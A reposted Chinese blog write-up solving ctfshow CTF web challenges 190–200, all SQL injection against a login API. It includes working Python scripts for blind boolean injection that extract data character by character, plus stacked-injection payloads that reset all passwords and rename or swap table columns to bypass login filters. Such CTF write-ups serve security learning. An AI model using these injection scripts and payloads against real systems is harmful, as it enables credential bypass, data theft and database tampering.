ctfshow(web190-web200)

news2024/12/26 13:23:41

目录

web190

web191

web192

web193

web194

web195

web196

web197

web198

web199

web200


web190

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

以上就能确定可以进行布尔注入了

python脚本 使用二分法(这个脚本很强 二分法速度特别快,该脚本可以为二分法的模板,在大师傅给出的脚本中我修改了部分内容 使得可以按照输出 更容易理解代码)

import requests
url = "http://320af8bf-8a87-4f48-a37b-8838174bdcd1.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127 #ascii最大值
    min = 32  #ascii最小值
    while 1:#无限循环
        mid = (max+min)>>1 #相当于除2向下取整
        print("第{}波 max={}min={} mid={} ".format(i,max,min,mid))
        if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为c
            flag += chr(mid)
            print(flag)
            break
        # payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        # 当前数据表 ctfshow_fl0g和ctfshow_user
        # payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        # 当前字段名 id,f1ag
        # payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        # 获取flag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为max
            max = mid
        else:                      #返回值为0 <99 将该值设置为min
            min = mid
    if mid == 32:# 如果mid的值等于空格 结束最外层循环
        print("flag={}".format(flag))
        break

得出flag

web191

用户名不能有file into和ascii 不能写文件和使用ascii值的方式进行判断

我的第一想法是换成hex 然后再通过hex解密得到原有字符串 但是发现hex中如果是z结果就是7a出现了两个字符无法判断 那就是使用替换 经过查找资料发现ORD和ASCII效果一样

将ascii修改为ord即可

web192

ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

python脚本 

自己写的

import requests
url = "http://54b31325-2269-4d5c-a739-68fe13091b24.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:
            if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flag
                break
            flag+=x
            print(flag) 
            break
    if x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束
        break

成功获取flag

web193

substr都过滤了

那就换一个函数使用left 也能做到substr的效果

python脚本 这里的数据表变成了ctfshow_flxg

import requests
url = "http://395fe6cb-9803-4905-a7a6-b4bdd6622d45.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)
        # 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg
        # payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)
        # 当前字段名 id,flag
        payload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

flg

注意一点 占位符{}要加上单引号

web194

left也被禁用了

早就在mysql文档中找函数 搜索关键字的方式

使用lpad替换left函数 本地先测试一下

确定一下固定语句

直接修改web193脚本

注意

在本地的时候

select lpad('abc',1,"") 用的是双引号 脚本中要用单引号 因为 整个语句字符串用的是双引号 范冲突

import requests
url = "http://ad864e5b-c99c-4b15-b2d7-7e95b7858527.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

输出flag

web195

过滤了很多 本地测试了一些 select和|都被禁用了 

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的 

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码

通过回显去浏览器查找 显示用户名不存在 估计是执行成功了

账号admin和密码1怎么还是不行

原因:在sql语句中 $username 没有使用引号 数据库中的admin是字符串 条件中admin必须用单引号引起来 但是引号被过滤了 那就使用弱类型的方式吧 所有字符转换成整数都是0

用户为0 密码为1 得到flag

web196

用户名不能超过16个字符 

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。
 

web197

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user 

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2

更新不可以的话 那就删表 建表

web198

创建删除用不了了 

方法一 非预期的方式 默认密码usernameAUTO 密码passwordAUTO(非预期没什么用)

因为是字符 必须使用单引号但是单引号被过滤了 所以这个非预期的方式不能用

方法二 本题依然可以使用上个题目的方法一show tables

方法三 修改表的结构在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。 已知两个列名 username和pass 将两个列名互换 

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

注意为什么用户名0可以 1不可以 我估计是密码是个字符串 本地测试一下

web199

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

varchar(100)限制了存储的字符数量最多为100个字符,适合存储较短的密码或字符串。

text类型则允许存储更长的文本数据,但可能会占用更多的存储空间,并且在处理和索引方面可能不如varchar类型高效,特别是对于非常大的文本值。然而,如果你确定密码不会超过几百万个字符(这在实际情况中是非常罕见的),那么使用text类型也是可以的。在大多数情况下,为了节省空间和提高效率,使用varchar类型更适合存储密码。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

多过滤了逗号 对我们无影响

web199的两种方法 还有一种方法前几关也能用 已知默认密码为passAUTO 用户名的位置是0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1323716.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动化测试工具-Selenium:Selenium的核心三大组件详解

目录 1. WebDriver 1.1 WebDriver的通信方式 1.2 WebDriver的功能 1.3 W3C推荐标准 2. Grid 3. IDE Selenium 是支持 web 浏览器自动化的一系列工具和库的综合项目。官方对Selenium认可的三大组件或API分别是&#xff1a;WebDriver、Selenium IDE、Grid。其中&#xff0c…

vue-springboot大学生兼职招聘评价系统_b8t93

线上管理大学生兼职平台设计与实现提供了良好的发展空间&#xff0c;随着人们生活质量的提高&#xff0c;人们对服务质量的要求越来越严格。人们希望拥有更好的大学生兼职平台体验。而且&#xff0c;大学生兼职平台有着使用常规电话交流比不了的便捷高效简单等优势。大学生兼职…

VS+Qt 打包Python文件

书接上回&#xff0c;调用C调用python&#xff0c;下面来谈谈随exe文件打包。 先说下环境vs2019Qt5.12.11python3.8&#xff0c;这里需要注意如果你要适配Win7的系统&#xff0c;python最好是9以下&#xff0c;以上不兼容&#xff0c;也没时间找方法&#xff0c;找到评论说下 如…

I Doc View在线文档预览任意文件读取

漏洞简介 I Doc View在线文档预览是一款在线文档预览系统&#xff0c;可以实现文档的预览及文档协作编辑功能。其存在任意文件读取漏洞&#xff0c;可通过该漏洞读取服务器各敏感文件 资产测绘 title“在线文档预览 - I Doc View” 漏洞利用 http://your_ip/doc/upload?t…

Nginx快速入门:访问日志access.log参数详解 |访问日志记录自定义请求头(三)

0. 引言 在企业的生产环境中&#xff0c;我们时常需要通过nginx的访问日志来统计流量、排查调用问题等&#xff0c;而nginx默认的日志格式所包含的信息远无法满足我们使用&#xff0c;因此常常需要对日志进行自定义&#xff0c;所以今天我们就来看如何自定义nginx的访问日志格…

移动端自适应

1.普通html页面 一般使用px定义&#xff0c;不会进行适配 移动端项目&#xff1a;从不同的终端保持页面的一致性&#xff08;自适应&#xff09;,使用rem相对单位&#xff0c;rem是相对于根节点html的font-size的值进行动态换算的值 2.普通html页面进行适配 普通页面中&…

解决方案架构师 vs 技术架构师,有何区别?

Salesforce架构师角色是生态系统中常见的职业目标。架构师因其丰富的Salesforce知识以及在平台上构建可扩展解决方案的能力而广受认可。 解决方案架构师和技术架构师是Salesforce生态系统中最常见的两个架构师角色&#xff0c;这些角色有一些重叠&#xff0c;但它们完全不同&a…

Seata使用详解

分布式事务介绍分布式事务的优缺点CAP理论介绍Base理论介绍CAP和BASE之间有什么区别Seata介绍Seata支持的事务模式介绍Seata的架构Seata应用场景Seata集群部署Seata集群部署的优缺点Seata在Java中的使用案例Seata在Java中的代码示例Seata与SpringBoot2.x的整合Seata与SpringBoo…

winfrom大恒工业相机SDK二次开发、C#联合halcon开发

一、开发环境 1.在大恒图像官网下载SDK安装包&#xff0c;安装SDK后&#xff0c;打开安装目录找到Samples文件夹&#xff0c;然后找到Samples\CSharp SDK\x64\DoNET\.NET4.0文件夹下找到GxIAPINET.dll&#xff0c;如图&#xff1a; 2.打开VS2019软件&#xff0c;建立winfrom项…

Linux系统管理、服务器设置、安全、云数据中心

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 我们来快速了解liunx命令 文章目录 前言解析命令提示符linux的文件和目录文件和目录管理文件操作 进程管理命令系统管理网络管理 书籍推荐 本文以服务器最常用的CentOS为例 解析命令提示…

JDBC简单使用

1. 首先导包&#xff0c;放在src -> lib下 打开项目结构&#xff0c;添加导入的包为库 基础语法 Statement statement conn.createStatement(); ---------------------------------------------- 1.execute(String query)方法用来执行任意的SQL语句查询&#xff0c;如果…

AcrelEMS-HIM高速公路综合能效系统在新晋高速公路快村营至营盘段项目的应用——安科瑞 顾烊宇

摘 要&#xff1a;我国新型工业化、信息化、城镇化和农业现代化加快发展&#xff0c;经济结构加快转型&#xff0c;交通运输总量将保持较快增长态势&#xff0c;各项事业发展要求提高国家公路网的服务能力和水平。高速公路沿线的收费站、互通枢纽、服务区、隧道等配置的供配电、…

2024Java85w字面试宝典+从入门到架构师的学习路线图+Java开发求职手册,我终于做出来了!

这几年中&#xff0c;我遇到了很多不同困境中的Java开发者&#xff0c;让我有了一个思考&#xff0c;在做教育这件事情上&#xff0c;我的目标是什么&#xff1f;为此&#xff0c;我思考了很久。 然后今年有很多的粉丝或者一些学员来找我&#xff0c;说今年的面试很困难&#…

【工作流Activiti】MyActivit的maven项目

1、Idea新建一个项目MyActivit的maven项目 2、安装插件 在 idea 里面&#xff0c;activiti 的插件叫 actiBPM&#xff0c;在插件库里面把它安装好&#xff0c;重启 idea 就行了。 3、 maven 项目中&#xff0c;并更改 pom.xml。pom 中依赖如下&#xff1a; <?xml version…

C#中的协变和逆变

这两个都是只能使用在接口和委托上 个人理解&#xff1a; 协变&#xff1a;出参&#xff0c;让基类使用范围变大&#xff0c;将父类/基类当作子类一样使用 --为什么这样规定呢&#xff1f; 我的理解&#xff1a;真正实现的是子类&#xff0c;子类拥有所有的方法&#xff0c;却…

pytorch网络的增删改

本文介绍对加载的网络的层进行增删改, 以alexnet网络为例进行介绍。 1. 加载网络 import torchvision.models as models alexnet models.alexnet(weightsmodels.AlexNet_Weights.DEFAULT) print(alexnet)2. 删除网络 在做迁移学习的时候&#xff0c;我们通常是在分类网络的…

安全狗waf

安全狗waf安装 1、先将phpstudy 以管理员身份运行&#xff0c;将运行模式修改为 “系统服务”&#xff0c;点击“应用”。 2、下载安全狗&#xff0c;安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知 3、安装安全狗&#xff0c;以管理员身份运…

python调取一欧易API并写一个比特币均线交易策略

比特币均线交易策略是一种基于比特币价格的移动均线的交易策略。它通过计算不同时间段的移动均线来确定买入和卖出点。 具体步骤如下&#xff1a; 确定要使用的均线。常用的均线包括5日、10日、20日、50日和200日均线。较短的均线可以更快地反应价格变动&#xff0c;而较长的均…

探秘 AJAX:让网页变得更智能的异步技术(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

AcWing算法提高课-4.1.2搭配购买

算法提高课整理 CSDN个人主页&#xff1a;更好的阅读体验 原题链接 题目描述 Joe觉得云朵很美&#xff0c;决定去山上的商店买一些云朵。 商店里有 n n n 朵云&#xff0c;云朵被编号为 1 , 2 , … , n 1,2,…,n 1,2,…,n&#xff0c;并且每朵云都有一个价值。 但是商店…